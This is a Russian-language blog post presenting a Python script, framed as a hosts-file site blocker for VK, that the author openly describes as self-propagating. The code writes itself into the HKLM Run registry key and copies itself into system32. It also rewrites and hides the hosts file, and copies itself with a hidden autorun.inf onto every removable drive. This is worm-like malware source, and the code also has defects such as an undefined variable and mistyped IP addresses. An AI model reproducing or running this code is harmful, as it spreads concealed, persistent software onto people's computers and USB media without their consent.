Python: Блокирование сайов с помощью hosts.

Posted by Nosaer | Posted in

   Узнал про модуль WMI для Python, решил не много поэкспериментировать. В голову особо ничего не пришло, потому решил банально поработать с файлом hosts, для блокирования сайтов(как пример ВК).
   Для работы с WMI необходимо сначала установить сам модуль, а затем pywin32, после чего необходима перезагрузка.
   С помощью WMI организованна способность к саморазмножению, немного сыровато, но все же она есть. При подключении любого флеш носителя, программа копирует себя на него.       Первоначально пытался организовать размножение другим способом, но сталкивался с тем, что программа приходила в негодность после того как в дисковод вставлялся любой диск, на которой она не могла записать файлы.
   В процессе написания столкнулся с несколькими подводными камнями, вроде того, что chmod в Windows не способен поставить на файл атрибуты скрытого системного файла, потому пришлось работать так скажем через cmd. И при работе с WMI, многие значения возвращаются в юникоде, потому пришлось их конвертировать.

# -*- coding: utf-8 -*-
import _winreg, shutil, time, glob, sys, os, wmi 

# Прописываем в автозагрузку
reg = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, _winreg.KEY_ALL_ACCESS)
_winreg.SetValueEx(reg, "host", 0, _winreg.REG_SZ, r"C:\WINDOWS\system32\host.py")
shutil.copy(sys.argv[0], u"C:\WINDOWS\system32")

# Бесконечный цикл, с таймаутом в конце, чтобы не шибко грузить процессор
while 1:
os.system("attrib -s -h C:\WINDOWS\system32\drivers\etc\hosts") # на всякий случай снимаем с него права
hosts = open(r"C:\WINDOWS\system32\drivers\etc\hosts", "r") # Открываем файл C:\WINDOWS\system32\drivers\etc\hosts
w = hosts.read() # Начинаем с ним работать как с текстом
q = w.find("vk") # Ищем строчку c vk
if q == -1: # Если нет
hosts.close()
hosts = open(r"C:\WINDOWS\system32\drivers\etc\hosts", "a") # то открываем его для записи в конец файла и вносим свои изменения
hosts.write("127.0.0.1 vkontakte.ru\n127.0.0.1 vk.com\n27.0.0.1 www.vk.com\n27.0.0.1 www.vkontakte.ru")
hosts.close()
os.system("attrib +h +s C:\WINDOWS\system32\drivers\etc\hosts") # Выставляем права скрытого системного файла
c = wmi.WMI() # Начинаем работу с модулем WMI
for disk in c.Win32_LogicalDisk(DriveType=2): # Для определения наличия съемных носителей DriveType=2
udisk = disk.Name
disk = str(udisk) # Модуль возвращает значению в юникоде, поэтому преобразовываем его
puth = disk+r"\host.py"
flash = glob.glob(puth) # Проверяем наличие нашего файла на флешке
lenf = len(flash)
if lenf == 0: # Если его нет,
os.system("attrib -s -h "+puth)
os.system("attrib -s -h "+puta)
shutil.copy(sys.argv[0], disk + "/") # То копируем его туда
auto = open(disk+r"\autorun.inf", "w") # Создаем файл автозапуска
auto.write("[autorun]\nopen=host.py") # Записываем туда все, что надо
auto.close()
os.system("attrib +s +h "+puth) # Прячем от лишних глаз
os.system("attrib +s +h "+puta)
time.sleep(180) # Таймаут



Comments (0)

Отправить комментарий